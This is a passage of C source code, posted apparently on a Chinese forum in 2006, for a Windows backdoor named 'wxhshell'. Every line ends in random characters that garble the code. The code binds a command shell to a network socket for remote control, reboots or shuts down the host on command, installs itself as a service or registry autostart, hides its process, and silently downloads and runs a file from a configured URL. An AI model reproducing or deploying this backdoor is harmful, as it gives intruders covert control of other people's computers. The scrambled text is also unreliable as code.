  } :tz#v`3o  
  else { *z5.vtfu!  
.<->C?#  
    switch(cmd[0]) { 4X!/hI=jq  
  7BE>RE=)  
  // 帮助 xs{3pkTYD  
  case '?': { ]N~2 .h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )1]ZtU  
    break; 2i)^ !c  
  } `LrHKb aP  
  // 安装 bBiE  
  case 'i': { JgxtlYjl  
    if(Install()) \Z?9{J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R|6Cv3:  
    else bZ dNibN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @3>u@  
    break; f/U`  
    } W\>fh&!)  
  // 卸载 j b!x:  
  case 'r': { mUNn%E:7@{  
    if(Uninstall()) q_MPju&*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [8Y:65  
    else _'#n6^Us<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FI)17i$  
    break; [@&m4 7  
    } %vn|k[n D  
  // 显示 wxhshell 所在路径 `fA@hK   
  case 'p': { V><,UI=,n  
    char svExeFile[MAX_PATH]; 4.k0<  
    strcpy(svExeFile,"\n\r"); ?k+xSV  
      strcat(svExeFile,ExeFile); [u =+3b  
        send(wsh,svExeFile,strlen(svExeFile),0); ;0Q4<F  
    break; DHy q^pJ  
    } qSM|hHDo)  
  // 重启 cutuDZ  
  case 'b': { Q$a{\*[:+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  U'k*_g  
    if(Boot(REBOOT)) 6]&OrS[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .6ylZ  
    else { evya7^,F  
    closesocket(wsh); 9)h"-H;5:  
    ExitThread(0); )cX*I gO  
    } Ab~3{Q]#  
    break; qFicBpB  
    } B~'vCuE  
  // 关机 Q3XpHnufu+  
  case 'd': { "0V.V>-p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >1.X*gi?-  
    if(Boot(SHUTDOWN)) 8Q.T g.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ])[[ V!1  
    else { OyStqi  
    closesocket(wsh); ;(b9#b.  
    ExitThread(0); Mc? Qx  
    } ^a/gBC82x  
    break; ]MqMQLG0t  
    } OsTc5K.U~  
  // 获取shell (j%~u&+-  
  case 's': { MS nG3]{z  
    CmdShell(wsh); %2}-2}[>  
    closesocket(wsh); ADz ^\  
    ExitThread(0); fZ6MSAh  
    break; >,v`EIg  
  } eln)BW#  
  // 退出 HSw;^E)1  
  case 'x': { 2% MC Yn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); im${3>26  
    CloseIt(wsh); YC*"Thuu  
    break; l z/8  
    } =h-U  
  // 离开 t0( A4E  
  case 'q': { ZAW^/bo<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `:ArT}F  
    closesocket(wsh); $r^GE  
    WSACleanup(); O n8v//=&  
    exit(1); "x#-sZ=  
    break; a H yx_B  
        } Hf%@3X  
  } k)i3   
  } W 6^5YH%  
$6#CqWhI  
  // 提示信息 L,HhbTRca  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `A,-@`p  
} #{6{TFx\  
  }  Z< 1  
rbul8(1h  
  return; Z@yW bjE7Z  
} 3>3Kwc~E  
9G9t" {  
// shell模块句柄 ?L x24*5%  
int CmdShell(SOCKET sock) .zr-:L5{  
{ $6qh| >z.  
STARTUPINFO si; , xw#NG6  
ZeroMemory(&si,sizeof(si)); imVo<Je7z(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !({}(!P .  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d}Xr}  
PROCESS_INFORMATION ProcessInfo; , |0}<%  
char cmdline[]="cmd"; Tg7an&#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2kqup)82e  
  return 0; ~Q*%DRd&Z-  
} >|J`s~?  
\0A3]l  
// 自身启动模式 ]q\b,)4 e  
int StartFromService(void) <c*FCblv  
{ 4aug{}h("  
typedef struct [Hx0`Nc K  
{ 0}<|7?  
  DWORD ExitStatus; y3vdUauOn  
  DWORD PebBaseAddress; !:)s"|=  
  DWORD AffinityMask; 3 D6RLu  
  DWORD BasePriority; Zj_b>O-V  
  ULONG UniqueProcessId; oxr#7Ei0d  
  ULONG InheritedFromUniqueProcessId; yyR0]NzYUD  
}   PROCESS_BASIC_INFORMATION; pk>^?MO  
IWk4&yHUAu  
PROCNTQSIP NtQueryInformationProcess; Lk|hQ  
!'Ak&j1:`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Plc-4y1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1&\0:vA^Y  
;[(oaK@+n  
  HANDLE             hProcess; |O3q@  
  PROCESS_BASIC_INFORMATION pbi; 8aZ=?_gvT  
cv8L-Z>x.=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3v(*5  
  if(NULL == hInst ) return 0; 9/9j+5}+  
;$HftG>B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .28<tEf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YP 6` L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -<6\1J  
} j<)L,  
  if (!NtQueryInformationProcess) return 0; __uA}f Zp  
_,kj:R.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /pm]BC  
  if(!hProcess) return 0; 97Lte5c6r  
rr/B= O7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XWn VgY s  
5CuuG<0  
  CloseHandle(hProcess); X3(tuqmi  
a,Sw4yJ!Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =NpYFKmMhV  
if(hProcess==NULL) return 0; FW.7'7G@n  
84$nT>c  
HMODULE hMod; ?xA:@:l/  
char procName[255]; XFg 9P}"  
unsigned long cbNeeded; 'Jiw@t<o3`  
9y6-/H ,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,y1PbA0m  
# q~e^A b  
  CloseHandle(hProcess); xg30x C[  
uOKCAqYa  
if(strstr(procName,"services")) return 1; // 以服务启动 zy?.u.4L  
N%kt3vmQ_  
  return 0; // 注册表启动 zofa-7'Bn  
} toLV4BtIG  
hZdoc<  
// 主模块 `CBZhI%%  
int StartWxhshell(LPSTR lpCmdLine) "/yC@VC>  
{ !1rlN8w(qr  
  SOCKET wsl; ,k.3|aZE  
BOOL val=TRUE; B{/R: Hm  
  int port=0; 8Pfb~&X^Ws  
  struct sockaddr_in door; Y5f1lUT  
2iHUZzz\  
  if(wscfg.ws_autoins) Install(); S O4u9V  
b`(}.r?W  
port=atoi(lpCmdLine); -] LY,M  
9 eR-  
if(port<=0) port=wscfg.ws_port; *jLJcb*.Ap  
tI]Q%S,  
  WSADATA data; $:BKzHmg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l~1Oef#y  
&]g}u5J!=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -O1>|y2rU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); au N6prGe  
  door.sin_family = AF_INET; ,bXe<L)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }bs+-K  
  door.sin_port = htons(port); YA''2Ii  
F7 5#*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %]F d[pzF  
closesocket(wsl); VQ"hUX8  
return 1; :=}BN  
} .@2m07*1  
XQ#;Zs/l  
  if(listen(wsl,2) == INVALID_SOCKET) { P !AEf#1  
closesocket(wsl); 3("_Z%  
return 1; aL*&r~`&e'  
} Mh~q//  
  Wxhshell(wsl); Olt `:;j-  
  WSACleanup(); ) dn(G@5  
2X.r%&!1M  
return 0; oin$-i|Xp!  
<x@}01 ~  
} YO#M/%^j  
=w;F<M|Y  
// 以NT服务方式启动 :Uz|3gq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O&vVv _zh  
{ ?*2CpM&l  
DWORD   status = 0; &?W0mW(  
  DWORD   specificError = 0xfffffff; 2I%MAb&1@  
b $'FvZbk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ydFD!mO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VA WF3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dOa+(fMe  
  serviceStatus.dwWin32ExitCode     = 0; RtGWG*v4]  
  serviceStatus.dwServiceSpecificExitCode = 0; #~#R-   
  serviceStatus.dwCheckPoint       = 0; ~F7 -HaQJ  
  serviceStatus.dwWaitHint       = 0; uYn_? G  
zxJ]" N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wi;Br[d  
  if (hServiceStatusHandle==0) return; 3Iua*#<m,  
wE[]6\_x1  
status = GetLastError(); ]"J~:{, d  
  if (status!=NO_ERROR) rk&IlAE  
{ N6>(;ugJ1-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f) znTJL  
    serviceStatus.dwCheckPoint       = 0; "*($cQ$v  
    serviceStatus.dwWaitHint       = 0; )n+Lo&C<  
    serviceStatus.dwWin32ExitCode     = status; wy yWyf  
    serviceStatus.dwServiceSpecificExitCode = specificError; QXL'^uO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h xSKG  
    return; :S.9eFfa  
  } (XeE2l2M  
%Da8{%{`Pc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mx&&0#;r  
  serviceStatus.dwCheckPoint       = 0; t'VV>;-RO=  
  serviceStatus.dwWaitHint       = 0; E;,u2[3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $g/SWq  
} .}&` TU  
} uO);k5H  
// 处理NT服务事件,比如:启动、停止 e7@ojOQ%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0vFD3}~>  
{ R(('/JC  
switch(fdwControl) Qi^Z11  
{ <L`KzaA  
case SERVICE_CONTROL_STOP: `q?8A3A  
  serviceStatus.dwWin32ExitCode = 0; BZ:H`M`n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -- PtZ]Z  
  serviceStatus.dwCheckPoint   = 0; A$<.a'&T!  
  serviceStatus.dwWaitHint     = 0; @AG n{q  
  { X59: C3c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0":ib0=  
  } T29Dt  
  return; z,Medw6[  
case SERVICE_CONTROL_PAUSE: @Gk ILFN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ? K ;dp  
  break; sA/pVU  
case SERVICE_CONTROL_CONTINUE: <<@bl@9'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +Fuqch jq  
  break; 1|RANy  
case SERVICE_CONTROL_INTERROGATE: =5Q]m6-SgV  
  break; 2-7IJ\  
}; yGWxpzmRS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aAJU`=uq  
} J]v%q,"  
aIJt0;  
// 标准应用程序主函数 }x@2]juJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u6T+Cg  
{ 18~>ZR  
(}a8"]Z  
// 获取操作系统版本 9bP^`\K[N  
OsIsNt=GetOsVer(); #i@;J]x(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gGr^@=;YC  
|k+8<\  
  // 从命令行安装 ?,p;O  
  if(strpbrk(lpCmdLine,"iI")) Install(); +,2:g}5  
plUZ"Tr  
  // 下载执行文件 M\sN@+  
if(wscfg.ws_downexe) { eb.O#Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3x5JFM  
  WinExec(wscfg.ws_filenam,SW_HIDE); [baiH|5>  
} !+1<E*NQ S  
uZc`jNc\  
if(!OsIsNt) { .l>77zM6  
// 如果时win9x,隐藏进程并且设置为注册表启动 {)"iiJ  
HideProc(); '>&^zgr  
StartWxhshell(lpCmdLine); } ~h3c|  
} M*z~gOZ  
else #1`-*.u  
  if(StartFromService()) >xF/Pl  
  // 以服务方式启动 #N#'5w-G  
  StartServiceCtrlDispatcher(DispatchTable); FuVnk~gq  
else .$Ik`[+Z  
  // 普通方式启动 (&}i`}v_  
  StartWxhshell(lpCmdLine); \]&#%6|V  
qDv93  
return 0; 9F4Dm*_<  
}
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只看该作者 1 发表于: 2006-10-10
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